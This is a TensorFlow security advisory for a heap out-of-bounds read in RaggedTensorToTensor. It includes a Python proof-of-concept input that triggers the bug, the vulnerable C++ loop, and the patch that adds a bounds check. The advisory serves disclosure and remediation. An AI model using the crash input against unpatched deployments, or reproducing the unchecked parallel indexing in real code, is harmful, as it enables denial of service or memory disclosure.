Vulnerability: Heap buffer overflow in `RaggedTensorToTensor` ### Impact
An attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`:

```python
import tensorflow as tf

shape = tf.constant([10, 10], shape=[2], dtype=tf.int64)
values = tf.constant(0, shape=[1], dtype=tf.int64)
default_value = tf.constant(0, dtype=tf.int64)
l = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
row = tf.constant(l, shape=[5, 43], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
    shape=shape, values=values, default_value=default_value,
    row_partition_tensors=rows, row_partition_types=types) 
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel:

```cc
for (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {
  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);
  INDEX_TYPE real_length = std::min(output_size, row_length);
  INDEX_TYPE parent_output_index_current = parent_output_index[i];
  ...
}
```

Since the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`.

### Patches
We have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Vulnerability ID: GHSA-8gv3-57p6-g35r
CWE: CWE-125
Severity score: 2.5
Project: https://github.com/tensorflow/tensorflow
Published: 2021-05-21
File: tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc
Commit message: Fix heap-buffer-overflow issue with `tf.raw_ops.RaggedTensorToTensor`.

PiperOrigin-RevId: 371986929
Change-Id: I79ab962a22c5867f36f7f45b780a1ac881b1dbdd
Commit author: Amit Patankar

Vulnerable version (before fix):
 class RaggedTensorToTensorBaseOp : public OpKernel {             output_index_multiplier, output_size, result);         return tensorflow::Status::OK();       case RowPartitionType::ROW_SPLITS:         CalculateOutputIndexRowSplit(             context, row_partition_tensor, parent_output_index,             output_index_multiplier, output_size, result);

Fixed version (after fix):
 class RaggedTensorToTensorBaseOp : public OpKernel {             output_index_multiplier, output_size, result);         return tensorflow::Status::OK();       case RowPartitionType::ROW_SPLITS:         if (row_partition_tensor.size() - 1 > parent_output_index.size()) {           return errors::InvalidArgument(               "Row partition size is greater than output size: ",               row_partition_tensor.size() - 1, " > ",               parent_output_index.size());         }         CalculateOutputIndexRowSplit(             context, row_partition_tensor, parent_output_index,             output_index_multiplier, output_size, result);

Patch:
patch: @@ -313,6 +313,12 @@ class RaggedTensorToTensorBaseOp : public OpKernel {
             output_index_multiplier, output_size, result);
         return tensorflow::Status::OK();
       case RowPartitionType::ROW_SPLITS:
+        if (row_partition_tensor.size() - 1 > parent_output_index.size()) {
+          return errors::InvalidArgument(
+              "Row partition size is greater than output size: ",
+              row_partition_tensor.size() - 1, " > ",
+              parent_output_index.size());
+        }
         CalculateOutputIndexRowSplit(
             context, row_partition_tensor, parent_output_index,
             output_index_multiplier, output_size, result);
path: tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc